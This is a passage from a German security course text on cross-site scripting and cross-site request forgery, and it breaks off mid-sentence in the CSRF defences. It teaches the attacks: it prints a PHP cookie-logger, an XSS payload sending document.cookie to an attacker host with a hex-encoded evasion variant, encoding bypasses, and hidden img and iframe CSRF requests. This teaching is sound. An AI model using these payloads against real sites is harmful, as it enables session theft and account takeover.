Senke direkt im JavaScript-Code ist, würden einem Angreifer die Arbeit zusätzlich erleichtern, da dann keine Nutzerinteraktion mehr erforderlich wäre. Quelltext 2.18: Reflected DOM-XSS 1 2 3 4 var username = document . l o c a t i o n . h r e f . s u b s t r i n g ( document . l o c a t i o n . h r e f . indexOf ( " username= " ) +9) ; document . w r i t e ( " Hallo ␣ " +username+ " ! < br ␣/> " ) ; document . w r i t e ( "Zu␣deinem␣<a ␣ h r e f =\ " " +username+ " \ " > P r o f i l ␣</a> " ) ; DOM-XSS bei Google Plus Die Ergebnisse dieses Abschnittes basieren auf der Arbeit von Stefano Di Paola Paola. Er fand eine DOM-XSS Schwachstelle indem JavaScript-Code für den +1 Button. Dieser Button ist auf sehr vielen Seiten verfügbar und erlaubt es auf einfache Weise Inhalte in seinem Google Plus Profil zu teilen. Die Schwachstelle ermöglicht das Cross Origin Resource Sharing (CORS), welches einem Angreifer erlaubt die Same-Origin-Policy zu umgehen. Die +1 Buttons werden per Iframe in eine Seite eingebunden. Das src-Attribut dieses Iframes zeigt auf eine URL unter plusone.google.com, welche noch Informationen der jeweiligen Seite als Parameter trägt. Eine vereinfachte Form der URL sieht folgendermaßen aus: https://plusone.google.com/_/+1/fastbutton?url=http: //www.example.com&ic=1&jsh=m;/_/apps-static/_/js/gapi/__ features__/rt=j/ver=ZZZZ/sv=1/am=!YYYY/d=1/rs=XXX In der Seite wird eine JavaScript-Datei eingebunden, welche die Quelle location.href auf falsche Weise verwendet und so die Schwachstelle erst ermöglicht. Zunächst wird die URL im JavaScript-Code validiert, indem überprüft wird, ob /cb=/ mehrmals vorkommt oder HTML-Metazeichen (/[@“<>#?&%/) vorhanden sind. Falls eine von den beiden Kriterien zutrifft, so wird eine Bad URL exception ausgeworfen. Quelltext 2.19: Validierungsmaßnahmen 1 2 3 4 5 6 d = m. s p l i t ( " ; " ) ; d = ( i = M[ d . s h i f t ( ) ] ) && i ( d ) ; i f ( ! d ) throw " Bad␣ h i n t : " + m; i = d = d [ q ] ( " _ _ f e a t u r e s _ _ " , T ( r ) ) [ q ](/\/ $ / , " " ) + ( e [ s ] ? " /ed=1/exm= " + T ( e ) : " " ) + ( " /cb=gapi . " + J ) ; 2.6 Gefahren von XSS 7 8 9 10 11 12 13 14 15 16 17 18 l = i . match ( ha ) ; // " h t t p s :// a p i s . google . com/TAINTED/cb=gapi . loaded_0 " . match(/\/ cb=/g ) i f ( ! l || ! ( 1 === l [ s ] && ga [ p ] ( i ) && ! f a [ p ] ( i ) ) ) throw " Bad␣URL␣ " + d ; e [ k ] . apply ( e , r ) ; L ( " ml0 " , r , I ) ; c [R . f ] || t . ___gapisync ? ( c = d , " loading " != u . readyState ? W( c ) : u . w r i t e ( " < " + S + ’ s r c = " ’ ␣+␣encodeURI ( c ) ␣+␣ ’ " ></ ’ + S + " > " ) ) : W( d , c , J ) ... Nachdem die Überprüfung erfolgreich verlaufen ist, wird der Parameter jsh= aus der URL entnommen und als Adresse für einen XMLHttpRequest verwendet. Quelltext 2.20: Validierungsmaßnahmen 1 2 3 4 5 6 7 8 f u n c t i o n W( ) { ... a = v . XMLHttpRequest , l = l [ q ] ( / ^ h t t p s ?:\/\/[^\/]+\// , " / " ) , m = new a ; m. open ( "GET" , l , f ) ... } Diese erstellte GET-Anfrage wird mit der Methode open abgeschickt und die Antwort darauf wird in eine Variable gespeichert. Die größte Gefahr dieser Schwachstelle entsteht aber erst danach. Die Antwort der Anfrage wird als JavaScript-Code interpretiert, in dem das Programm zunächst ein neues Script-Element erstellt und daraufhin die Antwort als String in dieses Script-Element eingefügt wird. Um den Angriff durchzuführen, genügt der Besitz einer Seite, auf welcher man einen beliebigen JavaScript-Code speichern kann. Die Adresse dieser Seite benutzt man dann als Wert für den jsh-Parameter. Hierbei hat Di Paola aber angemerkt, dass man // statt http:// verwenden muss. Um diese Lücke zu fixen hat Google zwei Überprüfungen verändert und eine weitere Überprüfung eingebaut. Des weiteren werden nicht mehr bestimmte HTMLMetazeichen gefiltert (Blacklisting), sondern es wird angegeben, welche Zeichen nur erlaubt sind (Whitelisting). 2.6 Gefahren von XSS Website-Defacement Bei dieser Angriffsvariante wird die Website über die Cross-Site-Scripting Lücke eingeschleusten Schadcode verunstaltet. Dabei besteht für den Websitebetreiber die Gefahr, dass der Ruf der Seite geschädigt wird oder dass sonstige Falschmeldungen verbreitet werden. Die Verunstaltung kann auf vielen Wegen bewerkstelligt werden. Die simpelste Methode ist mittels HTML-Injektion zusätzliche Elemente zu der Website hinzuzufügen (z.B. Text, Bilder, Inlineframes, etc.). Die andere Variante der Verunstaltung funktioniert über JavaScript mittels der DOM-Schnittstelle. Auf diesem Weg ist man nicht nur in der Lage der DOM-Hierarchie Elemente hinzuzufügen, man ist sogar fähig solche zu verändern oder zu löschen. Seite 31 Seite 32 Studienbrief 2 Cross Site Scripting Diebstahl von Session-Cookies Der Diebstahl von Session-Cookies über Cross-Site-Scripting ist eines der beliebtesten Angriffe, da dieser auf der Seite des Opfers kaum Benutzerinteraktionen erfordert. Das Opfer muss lediglich eine präparierte URL im Browser aufrufen. Nun stellt sich die Frage, wie der Diebstahl von Sitzungscookies durch Cross-SiteScripting möglich ist. Dies ist einfach zu beantworten. Man kann ohne Umstände mittels JavaScript über die DOM-API auf das aktuelle Cookie zugreifen. Mit dem folgendem Code kann man den aktuellen Cookie in einem Fenster ausgeben lassen OWASP Foundation [c]. <script>alert(document.cookie);</script> (Übrigens kann man das Attribut type auch weg lassen) document.cookie beinhaltet also das zu stehlende Cookie. Man braucht nun ein externes Skript, welches diesen Cookie auf einem externen Server (des Angreifers) abspeichert oder es per E-Mail an den Angreifer sendet. Solch ein externes Skript kann in PHP geschrieben werden. Dementsprechend muss natürlich auch der Webserver des Angreifers PHP unterstützen, damit auch dieses Skript ordnungsgemäß ausgeführt werden kann. Solch ein PHP-Skript, dass übergebene bzw. gestohlene Cookies aufzeichnet sieht im groben wie folgt aus qatestingdownloads.com [2013]: Quelltext 2.21 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php / / s t i e h l t c o o k i e von d e r a k t u e l l e n URL / / ( s t e a l e r . php ? c o o k i e =x ) / / und l a g e r t e s i n e i n e r V a r i a b l e $ c o o k i e = $_GET [ " c o o k i e " ] ; / / o e f f n e t c o o k i e f i l e . t x t im " a p p e n d mode " s o d a s s man / / das g e s t o h l e n e Cookie der Datei / / h i n z u f u e g e n kann $ f i l e = fopen ( " c o o k i e f i l e . t x t " , " a " ) ; / / s p e i c h e r t das g e s t o h l e n e Cookie in der Datei f w r i t e ( $ f i l e , $ c o o k i e . " \n " ) ; / / g e o e f f n e t e Datei wird g e s c h l o s s e n fclose ( $ f i l e ) ; ?> Der zur injizierende Code für Cross-Site-Scripting wäre folgender: <script>document.location.href =’http://example.com/ cookielogger.php?cookie=’+document.cookie;</script> Das + ist in JavaScript bei Strings ein Konkatenations-Operator. Dieser injizierte Code ruft das externe PHP-Skript des Angreifers auf. Mittels des Konkatenations-Operator wird der aktuelle bzw. gestohlene Cookie an der restlichen URL angehängt und wird somit als Parameter für das Skript übergeben. (Parameterübergabe: /cookielogger.php?cookie= ...) Dieses externe PHP-Skript speichert die Cookies in einer Textdatei ab. Der Angreifer braucht nur noch diese Textdatei abzurufen und kann dann die gestohlenen Cookies dazu verwenden, die Sitzungen der Opfer der gegen Cross-Site-Scripting verwundbaren Website zu übernehmen. 2.6 Gefahren von XSS Somit kann sich der Angreifer als andere Benutzer auf der angegriffenen Website authentifizieren. Der Nachteil dieser Angriffsvariante ist allerdings, dass solche Sitzungscookies nur begrenzt gültig sind. Die Cookies verlieren ihre Gültigkeit, sobald der Benutzer seine Sitzung auf der angegriffenen Website beendet (z.B. durch Abmeldung) oder wenn die Gültigkeitsdauer überschritten wird. Phishing Mit dieser Angriffsvariante kann man über ein gefälschtes Anmeldeformular die Benutzerdaten des Opfers stehlen. Mit der Cross-Site-Scripting Lücke kann man einen JavaScript Code injizieren, welcher ein gefälschtes Anmeldeformular der Website hinzufügt. Man kann Phishing auch mit einem Inlineframe bewerkstelligen. Zum Beispiel kann man mittels eines Inlineframes einen Ausschnitt einer Phishing-Seite in der verwundbaren Website einschleusen. Der Vorteil vom Phishing ist, dass die abgegriffenen Benutzerdaten solange gültig sind, bis der Benutzer selbst diese manuell ändert. Der Nachteil ist allerdings, dass man das Opfer erst mal mittels Social Engineering dazu bewegen muss, sich auf der gefälschten Anmeldeseite einzuloggen (welche zusätzlich über eine präparierte URL aufgerufen werden muss). Präparierung der URL Da präparierte URL’s sehr verdächtig aussehen können, aufgrund von Schlüsselwörtern wie document.cookie und script, werden die URL-Parameter häufig hex-kodiert vulnerability-lab.com. Jedes ASCII Zeichen steht für einen hexadezimalen Wert. Eine präparierte URL sollte schon allein aus technischen Gründen kodiert werden. Diese präparierte URL: http://vulnerablesite.com/suche.php?suchbegriff= <script>document.location.href =’http://attackerserver.com/ cookielogger.php?cookie=’+document.cookie;</script> sieht nach einer minimalen URL-Kodierung wie folgt aus: http://vulnerablesite.com/suche.php?suchbegriff=%3C script%3Edocument.location.href+%3D%27http%3A%2F%2F attackerserver.com%2Fcookielogger.php%3Fcookie%3D%27 %2Bdocument.cookie%3B%3C%2Fscript%3E Natürlich kann man nun auch die restlichen ASCII-Zeichen kodieren, sodass keine Schlüsselwörter mehr zu sehen sind: http://vulnerablesite.com/suche.php?suchbegriff=%3C%73% 63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63% 61%74%69%6F%6E%2E%68%72%65%66%20%3D%27%68%74%74%70%3A% 2F%2F%61%74%74%61%63%6B%65%72%73%65%72%76%65%72%2E%63% Seite 33 Seite 34 Studienbrief 2 Cross Site Scripting 6F%6D%2F%63%6F%6F%6B%69%65%6C%6F%67%67%65%72%2E%70%68% 70%3F%63%6F%6F%6B%69%65%3D%27%2B%64%6F%63%75%6D%65%6E% 74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E%00 Es gibt noch mehrere Wege solche zu injizierende Codes zu optimieren. (z.B. JavaScript-Codes extern laden, anstatt den ganzen Code über die URL zu übertragen.). 2.7 Schutzmaßnahmen Bei den Schutzmaßnahmen ist es wichtig zwischen client- und serverseitigen Schutzmechanismen zu unterscheiden. Denn die Möglichkeiten eines Clients sind ziemlich begrenzt im Gegensatz zum Server bzgl. des Cross-Site-Scriptings. Eine Maßnahme seitens des Clients wäre JavaScript zu deaktivieren, dies wäre allerdings nicht besonders vorteilhaft, da die meisten Websites des Internets sehr großen Wert auf JavaScript legen. Einige Websites würden sogar überhaupt nicht ohne JavaScript funktionieren. Stattdessen kann man Browser Erweiterungen wie NoScript (Mozilla Firefox) oder NotScripts (Google Chrome) verwenden. Diese Erweiterungen bieten Whitelists zur Auflistung von vertrauenswürdigen Websites an. Domains die auf einer Whitelist gesetzt wurden, werden als vertrauenswürdige Websites eingestuft. Diesen Websites wird die Ausführung von JavaScript gestattet. Alle Websites die nicht auf der Whitelist aufgeführt sind, werden in ihrer Funktionalität, wie z.B. Ausführung von JavaScript, eingeschränkt. Dennoch sind clientseitige Schutzmaßnahme immer noch relativ uneffizient. Denn HTML-Injektionen (z.B. Einschleusung von Inlineframes) werden durch diese Maßnahmen nicht verhindert. Auf der Seite des Servers hat man zahlreiche Möglichkeiten sich vor Cross-SiteScripting Angriffe zu schützen. Jede Benutzereingabe muss als eine verdächtige Eingabe behandelt werden und somit auf der Serverseite geprüft werden. Bei der Prüfung für eine Filterung sollte statt einer Blacklist eine Whitelist verwendet werden. Eine Blacklist blockiert nur die Zeichenketten, die in der Blacklist aufgeführt sind. Dies ist nicht besonders sicher, da man nie genau wissen kann, welche Angriffsmethoden es noch gibt. Eine Whitelist ist da schon viel sicherer. Diese Art von Liste lässt nur vom Websiteentwickler definierte Eingaben zu. So wird der Spielraum des Angreifers deutlich mehr eingeschränkt. Wie bereits erwähnt, muss auch die Ausgabe der Benutzereingabe noch zusätzlich geprüft werden. Zum Beispiel müssen HTML-Zeichen maskiert bzw. kodiert werden, sodass diese nicht als HTML-Befehle interpretiert werden. Viele Programmier- sowie Skriptsprachen bieten vordefinierte Funktionen zur Kodierung und Maskierung von HTML-Zeichen. In PHP kann man mittels der htmlspecialchars()- bzw. htmlentities()Funktion und in Perl mittels HTML::Entities::encode_ entities() problematische HTML-Zeichen maskieren Frank Roth Webmasterpro.de [a] Webmasterpro.de [b]. Mit dem folgendem PHP-Code: Quelltext 2.22 1 2 3 4 <?php echo h t m l e n t i t i e s ( ’ < s c r i p t > a l e r t ( " XSS " ) ; </ s c r i p t > ’ , ENT_QUOTES) ; ?> 2.7 Schutzmaßnahmen wird die Zeichenkette wie folgt umgewandelt: & lt;script& gt;alert(& quot;XSS& quot;);& lt;/script& gt; (siehe HTML-Quelltext) Die Darstellung im Browser sieht wie folgt aus (HTML- bzw. JavaScriptInterpretation des <script>-Tags findet nicht statt): <script>alert("XSS");</script> Allerdings kodiert htmlentities() nicht andere Zeichen wie z.B. Klammern (,) und Gleichheitszeichen =. Somit sind folgende Angriffe noch möglich Erich Kachel [2008]: Angriffsvektor: javascript:eval(String.fromCharCode (97,108,101,114,116,40,39,88,83,83,39,41)) (als Wert eines HTML-Attributs) anfälliger PHP-Code: <a href="<?php echo htmlentities($_ GET[’homepage’]); ?>"> wird zu: daraus generiertes HTML-Code: <a href="javascript:eval(String.fromCharCode (97,108,101,114,116,40,39,88,83,83,39,41))"> Dieser Cross-Site-Scripting Angriff funktioniert, weil der Angriffsvektor keine Zeichen beinhaltet, die die Funktion htmlentities() maskieren würde (z.B. Keine Anführungszeichen). Mit der JavaScript Funktion String.fromCharCode() kann man mittels der Unicode-Zeichennummern die dementsprechenden Zeichen ausgeben. Dieser CharCode: 97,108,101,114,116,40,39,88,83,83,39,41 steht für alert(’XSS’) eval() interpretiert den übergebenen String als JavaScript-Code. Auch mittels Event-Handler sind Angriffe möglich (sofern der zu injizierende Code an der richtigen Stelle eingeschleust wird). Bei diesem Beispiel wird ein Formularfeld angegriffen. Die Attributwerte sind weder von einfachen noch von doppelten Anführungszeichen umschlossen, was nicht verpflichtend ist OWASP Foundation [d]. Angriffsvektor: 5 onclick=eval(String.fromCharCode (97,108,101,114,116,40,39,88,83,83,39,41)) Wird in ein Eingabefeld ohne umschließende Anführungszeichen zu einem JavaScript-Event: <input type=text name=id value=5 onclick=eval(String. fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))> Seite 35 Seite 36 Studienbrief 2 Cross Site Scripting Allerdings gibt es auch für solche Angriffe geeignete Schutzmaßnahmen. Zum Beispiel kann man mit einer Web Application Firewall (WAF) die Befehle wie eval und fromCharCode erkennen und abweisen lassen Erich Kachel [2008]. Man sieht also, dass es nicht sehr einfach ist sich vor allen möglichen Cross-SiteScripting Angriffsvektoren zu schützen. Aufgrund dieser Schwierigkeit kann man sich zumindest vor dem Diebstahl von Session-Cookis (meist auftretende Konsequenz) schützen. Eine Gegenmaßnahme zu dieser Konsequenz ließe sich mit einem zusätzlichem HTTPOnly Cookie Flag im Set-Cookie HTTP Response Header bewerkstelligen. Dies führt dazu, dass JavaScript Skripte keinen Zugriff mehr über die DOM-API auf Cookies haben. Der Zugriff auf Cookies wird nur noch HTTP-Methoden gewährt. Somit kann man über durch Cross-Site-Scripting Lücken eingeschleuste Schadecodes keine Cookies mehr stehlen. Diese Funktion muss allerdings auf dem Server und auf dem Browser des Clients aktiviert werden. Studienbrief 3 Cross-Site Request Forgery Studienbrief 3 Cross-Site Request Forgery 3.1 Lehrziele Sie können die wichtige Angriffstechnik Cross-Site Requesst Forgery erklären und stellen dar, wie durch solche Angriffe Schaden entstehen kann. Dieser Studienbrief erweitert [Schwenk, 2014, Kapitel 11.2]. Cross-Site Request Forgery, kurz CSRF oder auch XSRF, ist eine Angriffstechnik die hauptsächlich im Internet Anwendung findet. Es wird später aber noch gezeigt, das CSRF Angriffe eben so auf Anwendungen im Intranet anwendbar sind, dazu zählen zum Beispiel Router. Dabei nutzt ein Angreifer das Vertrauen einer Webseite in einen authentifizierten Nutzer aus, um in dessen Namen Befehle auszuführen. Dazu versucht der Angreifer seinem Opfer oder Mittelsmann dazu zu verleiten einen Link auszuführen. Öffnet dieser Mittelsmann nun den Link wird dieser durch seinen Browser ausgeführt. Da dieser Browser auf dem Computer des Mittelsmannes läuft, verfügt er auch über die Berechtigungen und Zugriffsmöglichkeiten dieses Mittelsmanns. Das hat zur Folge, das der Link, der vom Angreifer initiiert wurde, im Namen des Mittelsmanns ausgeführt wird. Der Begriff ”Cross-Site” leitet sich daraus ab, dass eine bösartige Webseite oder Angreifer einen Request beim User auslöst, der an eine andere Webseite geschickt wird. In den ersten beiden Kapiteln werden wir zuerst erklären was ein CSRF Angriff ist sowie die technischen Hintergründe erläutern. Im Teil 3.4 werden die verschiedenen Möglichkeiten eines Angriffes erklärt und die eigentlichen Angriffsziele aufgezeigt. Im letzten Kapitel 3.5 werden die möglichen Gegenmaßnahmen vorgestellt und bewertet. 3.2 Motivation Zur Veranschaulichung des Themas werden wir mit einem Beispiel beginnen. Das Beispiel zeigt einen CSRF Angriff in einem vereinfachten Szenario. Dazu nehmen wir an, Bob möchte Alice per Onlinebanking 10 Euro überweisen. Dazu füllt er das Formular auf der Webseite seiner Bank aus und schickt dieses ab. Dies löst einen GET Request aus, der vom Browser an die Bank geschickt wird: http://bank.de/ueberweisung.php?AbsenderKonto=bob? ,→ EmpfaengerKonto=alice?betrag=10 Der praktische Angriff darauf könnte wie in Abbildung 3.1 ablaufen. In Schritt 1 sendet der Angreifer Oskar seinen präparierten Link, zum Beispiel per EMail, an Bob. Klickt Bob nun in Schritt 2 auf diesen Link wird dieser von seinem Browser in Schritt 3 ausgeführt. Dies wiederum veranlasst die Bank, in Schritt 4, von Bob’s Konto 1000 Euro an Oscar zu überweisen. Denn die Bank kann in diesem Fall nicht erkennen, dass Bob nicht der rechtmäßige Initiator dieser Anfrage war. Seite 37 Seite 38 Studienbrief 3 Cross-Site Request Forgery Abb. 3.1: Beispiel Angriff Bob Oscar bank.de 1. sendet Mail mit präparierten Link http://bank.de/ueberweisung.php? AbsenderKonto=bob? EmpfaengerKonto=oscar? betrag=1000 2. Bob öffnet die Mail und klickt den Link an 3. Bob's Browser ruft Link mit Parametern auf 4. Die Bank überweist Oscar 1000 € von Bob's Konto Hier ist der Mittelsmann gleichzeitig das Opfer da ihm 1000 Euro entwendet wurden, es werden aber später noch Angriffe gezeigt, wo eine Webseite der betroffene Teilnehmer dieses Angriffes ist. Eine wichtige Bedingung, damit ein Angriff gelingt, ist, dass der Angreifer alle Parameter einer solchen Anfrage kennt und nachbilden kann. Dies ist aber meistens kein großes Problem da ein Angreifer sich zum Beispiel ein eigenes Benutzerkonto bei einer betroffenen Webseite anlegen kann oder die Software frei verfügbar ist. 3.3 Technischer Hintergrund Was ist nun das Problem, das diesen Angriff ermöglicht? Um das beantworten zu können muss man sich anschauen wie die Kommunikation zwischen den Benutzern und einer Webseite funktioniert. Die Kommunikation läuft über das HTTP Protokoll. Der Benutzer schickt eine Anfrage, den HTTP Request, an den Webserver. Dieser Antwortet mit der HTTP Response. Schauen wir uns nun den zuvor gezeigten Angriff im Detail an. Der HTTP Request würde vereinfacht folgendermaßen aussehen: GET /ueberweisung.php?AbsenderKonto=bob? ,→ EmpfaengerKonto=oscar?betrag=1000 HTTP/1.1 Host: www.bank.de Die Antwort der Webseite darauf, also die HTTP Response, könnte wie folgt sein: HTTP/1.1 200 OK Server: Apache/2.4.9 (Unix) PHP/5.4.28 Content-Length: 25 Connection: close 3.3 Technischer Hintergrund Content-Type: text/html Ueberweisung erfolgreich! Wie man erkennt, findet in diesen Nachrichten keine Identifikation des Users gegenüber dem Webserver statt. Der Grund dafür ist die Statuslosigkeit von HTTP. Das heißt, keine Anfrage von einem Benutzer kann einer Anfrage aus der Vergangenheit oder in der Zukunft zugeordnet werden. Da aber auf dieser Grundlage, in der ein User nicht seinen Aktivitäten zuzuordnen ist, ein modernes Internet mit seinen dynamischen Webseiten, Accounts für die verschiedenen Plattformen und einem Einkaufswagen für Onlineshopping nicht denkbar ist, führte man eine Session-ID für jeden User eine. Diese SessionID, oft auch als Cookie bekannt, wird bei jeder HTTP Anfrage mitgeschickt, wodurch die Webseite jeden Ihrer User seinen Aktionen zuordnen kann. Das Prinzip dahinter funktioniert folgendermaßen: Der Benutzer authentifiziert sich gegenüber der Webseite typischerweise mit einer Kombination aus Benutzername und Passwort. Daraufhin wird ihm im Browser von der Webseite ein Cookie gesetzt. Navigiert der Nutzer nun über die Webseite so wird bei jeder Anfrage das Cookie mitgesendet wodurch die Webseite weiß das sich um den bereits authentifizierten Nutzer handelt. Da Cookies aber vollkommen automatisch bei jeder Anfrage im HTTP Header mitgesendet werden schützen sie nicht vor CSRF Angriffen. Denn wenn der Browser den Link vom Angreifer ausführt nimmt er an das es sich um eine legitime Anfrage handelt weshalb er das Cookie mit überträgt. Das führt dazu das die Anfrage trotzdem im Namen des User ausgeführt wird. CSRF Angriffe die sich der Cookies bedienen nennt man auch Session-Riding Angriffe. Der große Vorteil für einen Angreifer besteht darin das er nicht zuerst an die Zugangsdaten seiner Opfer gelangen muss um in deren Namen Aktionen auszuführen. Neben der Cookie basierten Authentifikation existiert noch die Basic oder Digest Authentifikation. Diese bieten die Möglichkeit einen User auf HTTP Ebene zu authentifizieren. Dabei sendet der Browser Authentifikationdaten bei jeder Anfrage im Authentifikations Header automatisch mit. Diese Technik ist aber genau so anfällig für CSRF Angriffe. Für das spätere Verständnis möchten wir noch auf den Unterschied zwischen GET und POST Request im HTTP Protokoll eingehen. In dem zuvor gezeigtem Beispiel werden die Daten per GET Methode an den Bank Server übertragen. Das heißt sie werden als Parameter an die URL angehängt. Das sollte bei sensiblen Daten aber vermieden werden da sie so ungewollt öffentlich werden könnten. Zum Beispiel könnte dieser Request mit all seinen Daten als Lesezeichen im Browser gespeichert werden. Hier sollte besser die POST Methode gewählt werden. Bei dieser Methode werden die Daten unterhalb des HTTP Header übertragen und können so nicht so leicht ungewollt in falsche Hände geraden. Würde man den zuvor gezeigten Request an die Bank in eine POST anfrage umwandeln könnte er wie folgt aussehen: POST /ueberweisung.php HTTP/1.1 Host: bank.de Content-Type: application/x-www-form-urlencoded Content-Length: 51 Seite 39 Seite 40 Abb. 3.2: Beispiel Angriff mit Session Cookie Studienbrief 3 Cross-Site Request Forgery Bob Oscar bank.de 1. sendet Mail mit präparierten Link http://bank.de/ueberweisung.php? AbsenderKonto=bob? EmpfaengerKonto=oscar? betrag=1000 2. Bob öffnet die Mail und klickt den Link an 3. Bob's Browser ruft Link mit Parametern auf Authentifizierte Session 4. Die Bank überweist Oscar 1000 € von Bob's Konto AbsenderKonto=bob&EmpfaengerKonto=oscar&betrag=1000 3.4 Die Angriffsvarianten und Angriffsziele Im ersten Kapitel haben wir eine sehr vereinfache Variante eines CSRF Angriffes vorgestellt. Die Grundannahme war, dass das Opfer den Link per Mail oder einem Messengerdienst erhält. Allerdings wird ein Link sehr schnell länger und komplexer als in unseren Beispielen. Daher kann es vorkommen, dass erfahrene Computernutzer diese nicht mehr ohne weiteres anklicken. Aus diesem Grund wird ein Angreifer dazu übergehen seinen Angriff zu verschleiern. Dies könnte er in diesem Szenario zum Beispiel mithilfe eines URL Shorteners tun. Also ein Dienst der mithilfe einer Alias-URL auf die original URL weiterleitet. In diesem Fall würde das Opfer nur den Stellvertreterlink sehen was aber praktisch nichts ändert, da der Browser durch die Weiterleitung schlussendlich ohnehin die bösartige URL lädt. Diese Technik erfordert immer noch die Interaktion des Opfers. Um dies zu umgehen könnte ein Angreifer den Link in HTML Code einbetten. Ein gutes Beispiel dafür wäre der HTML Code der ein Bild lädt. Wenn er diesen Code nun auf einer Webseite oder in einer HTML E-Mail einbettet wird dieser automatisch vom Browser nachgeladen. Im Falle einer HTML Mail setzt das voraus das der User die Mail in seinem Browser aufruft, zum Beispiel über seine Webmailoberfläche. Der Code hierfür könnte wie folgt aussehen: <img src="http://bank.de/ueberweisung.php?AbsenderKonto=opfer? ,→ EmpfaengerKonto=angreifer?betrag=1000" width="0" height="0" \> An diesem Beispiel kann man auch ableiten, dass der Angriff nicht direkt vom Angreifer kommen muss sondern auch über eine dritte Instanz kommen kann. Beispiel dafür wären Foren oder Blogs wo der bösartige Code in den Kommen- 3.4 Die Angriffsvarianten und Angriffsziele Seite 41 taren hinterlassen wird. Denkbar ist auch eine Webseite die der Angreifer direkt kontrolliert. Dort könnte er einen unsichtbaren IFrame Auger [2010] einbinden. <iframe src="http://facebook.com/logout.do" style="display:none"></iframe> Eine weitere Möglichkeit den Link von einem Opfer ausführen zu lassen, ist das Einbetten in eine Cross-Site-Scripting Lücken, kurz XSS. XSS Lücken sind Sicherheitsprobleme auf einer Webseite die es dem Angreifer erlauben eigenen Javascript Code im Browser des Webseitenbesuchers auszuführen. Öffnet das Opfer die Webseite führt der Browser automatisch den XSS Code aus. Dieser Javascript Code öffnet wiederum den CSRF Link. <script src="http://forum.de/addAdmin.php?name=attacker"/> Zur Verdeutlichung der Angriffsmöglichkeiten und Variationen möchten wir zwei konkrete Angriffe auf auf große Webseiten heranziehen. Dabei handelt es sich um die Webseiten von Youtube 1 und der New York Times 2 . Beide Angriffe wurden 2008 von von William Zeller und Edward W. Felter entdeckt und in dem Paper ”Cross-Site Request Forgeries: Exploitation and Prevention” und Edward W. Felten [2008] veröffentlicht. Die CSRF Lücke auf der Webseite der New York Times ermöglichte es einem Angreifer mit der E-Mailadresse seiner Opfer Mails zu versenden. Dies konnte er dazu nutzen um Spammails zu versenden oder dessen E-Mailadresse in Erfahrung zu bringen indem er über sie eine Mail an sich selber schickte. Dazu bediente er sich einer eigentlich sinnvollen aber nicht gegen CSRF abgesicherten Funktion der Webseite. Denn die Webseite bot seinen angemeldeten User, also denen die eine aktive Session besaßen, die Möglichkeit Zeitungsartikel per E-Mail weiterzuempfehlen. Das Formular, dass diese Funktionalität bereitstellte, setzte sich wie folgt zusammen: <form action="http://www.nytimes.com/mem/emailthis.html" method="POST" enctype="application/x-www-form-urlencoded"> <input type="checkbox" id="copytoself" name="copytoself" value="Y"> <input id="recipients" name="recipients" type="text" value=""> <input type="hidden" name="state" value="1"> <textarea id="message" name="personalnote" maxlength="512"></textarea> <input type="hidden" name="type" value="1"> <input type="hidden" name="url" value="[...]"> <input type="hidden" name="title" value="[...]"> <input type="hidden" name="description" value="[...]"> ... </form> Die Besonderheit war hier, dass dieses Formular, dass eigentlich ein POST Request ausgelöst hätte, auch zu einem GET Request umgeformt werden konnte. Dies gelang indem man an die URL die einzelnen Parametern mit ihren Werten 1 http://www.youtube.com/ 2 http://www.nytimes.com/ Seite 42 Studienbrief 3 Cross-Site Request Forgery anhängte. So konnte ein Angreifer diese URL wie zuvor beschrieben in einem <img>Tag einbetten. Viele weitere CSRF Lücken fanden die beiden Forscher auf der Video Plattform Youtube. Laut Zeller und Felter waren zu dem Zeitpunkt fast keine Userinteraktionen gegen CSRF Angriffe geschützt. So beschreiben sie unter anderem, dass ein Angreifer durch unterschieben des folgenden Links beliebige Videos zu den persönlichen Favoriten seiner Opfer hinzufügen konnte. Dazu musst er nur die VIDEO_ID auf das gewünschtes Video abändern und den als Bild getarnten Link an sein Opfer senden. <img src="http://youtube.com/watch_ajax? ,→ action_add_favorite_playlist=1&video_id=[VIDEO_ID]&playlist_id=& ,→ add_to_favorite=1&show=1&button=AddvideoasFavorite"/> Die Konsequenz war, dass der der Angreifer das Youtuberanking beliebig manipulieren konnte. Außerdem fanden die beiden Forscher eine Möglichkeit Ihren Account in die Freundesliste der Opfer einzutragen. Dadurch wurde in die Privatsphäre eingegriffen, denn Freunde eines Accounts können die privaten Favoritenliste der Opfer einsehen. Wir haben nun an den Beispielen Youtube und New York Times gesehen, dass praktisch jede Webseite Ziel eines CSRF-Angriffes werden kann. Da heutzutage aber auch Abseits des Internets viele Geräte und Funktionen, die über sogenannte Webinterface, also Konfigurationensoberflächen, die auf der selben Technik, wie Webseiten basieren, bedienbar sind, können dort die selben Sicherheitsprobleme auftreten. Beispiele für diese Webinterface sind in jedem Fall Router und NAS Geräte. Denn deren Konfiguration ist in den allermeisten Fällen nur über derartige Oberflächen möglich. Aber auch ein Intranet oder ein Unternehmensnetzwerk bietet genügend potenziell angreifbare Geräte und Dienste. Hier sind interne Wiki oder Bug Tracking Server zu nennen aber auch interne Blogs oder Webseiten die der unternehmensinternen Organisation dienen. Aber auch im privaten Bereich wird die Angriffsfläche durch die fortschreitende Heimautomatisierung hei oder netzwerkfähige Geräte wie SmartTV’s, die an das interne Netz oder das Internet angeschlossen werden voraussichtlich größer. Es gibt mehrere Möglichkeiten sich als Client oder als eine Webanwendung vor Angriffen zu schützen. Beginnen werden wir in dem Kapitel mit den clientseitigen Schutzmöglichkeiten. Im zweiten Teil 3.6 werden dann die serverseitigen Gegenmaßnahmen erklärt und bewertet. 3.5 Clientseitige Gegenmaßnahmen Möchte man sich als Client einer Webseiten schützen, so muss man zuerst einmal feststellen, dass die weit verbreiteten Schutzprogramme wie ein Anti-Virus oder eine Personal Firewall hier nicht weiterhelfen. Der Grund dafür ist, dass 3.6 Serverseitige Gegenmaßnahmen ein typisches Anti-Virus Programm diesen Bereich nicht abdeckt und für andere Gefahren entwickelt wurde. Eine Firewall versagt hier ebenfalls da die Links über vollkommen legitime oder bestehende Verbindungen zu dem Benutzer gelangen. Aber es gibt abseits davon Möglichkeiten sich als Client vor CSRF Angriffen zu schützen. Dazu solle man zu aller erst ein paar Grundregeln befolgen. • Niemals blind Links folgen. Vor dem ausführen sollte man diesen zuerst prüfen, denn wie schon zuvor erwähnt, sind CSRF Links 